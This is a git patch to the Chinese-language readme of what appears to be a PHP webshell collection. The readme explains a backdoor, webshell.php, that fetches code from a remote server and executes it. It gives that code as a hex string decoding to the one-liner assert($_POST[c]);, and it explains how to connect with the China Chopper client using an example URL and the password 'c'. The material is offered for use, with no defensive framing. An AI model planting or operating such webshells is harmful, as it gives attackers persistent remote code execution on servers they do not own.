From da9067935852ff3d7c12d4b87b531308145c1444 Mon Sep 17 00:00:00 2001 From: tennc Date: Wed, 10 Jun 2015 08:51:24 +0800 Subject: [PATCH] Update readme.md --- php/tank96a/readme.md | 11 +++++++---- 1 file changed, 7 insertions(+), 4 deletions(-) diff --git a/php/tank96a/readme.md b/php/tank96a/readme.md index ff51fb4..7eae631 100644 --- a/php/tank96a/readme.md +++ b/php/tank96a/readme.md @@ -1,6 +1,9 @@ - >写了两个脚本webshell.php和getcode.php(本地开了个php server，运行getcode.php模拟远程服务器上的网页) - >原理：首先用菜刀访问webshell.php，该webshell立即从远程服务器上获取要运行的代码并执行。 - >这里获取的代码是61737365727428245f504f53545b635d293b，也就是assert($_POST[c]); - >菜刀中设置：http://192.168.1.102/DebugPHP/webshell.php 密码是c +## 使用说明 +> 写了两个脚本webshell.php和getcode.php(本地开了个php server，运行getcode.php模拟远程服务器上的网页) +> 原理：首先用菜刀访问webshell.php，该webshell立即从远程服务器上获取要运行的代码并执行。 +> 这里获取的代码是61737365727428245f504f53545b635d293b，也就是assert($_POST[c]); +> 菜刀中设置：http://192.168.1.102/DebugPHP/webshell.php 密码是c + +author ：tank96a form : http://tank96a.github.io/article/2015/04/27/php-horse/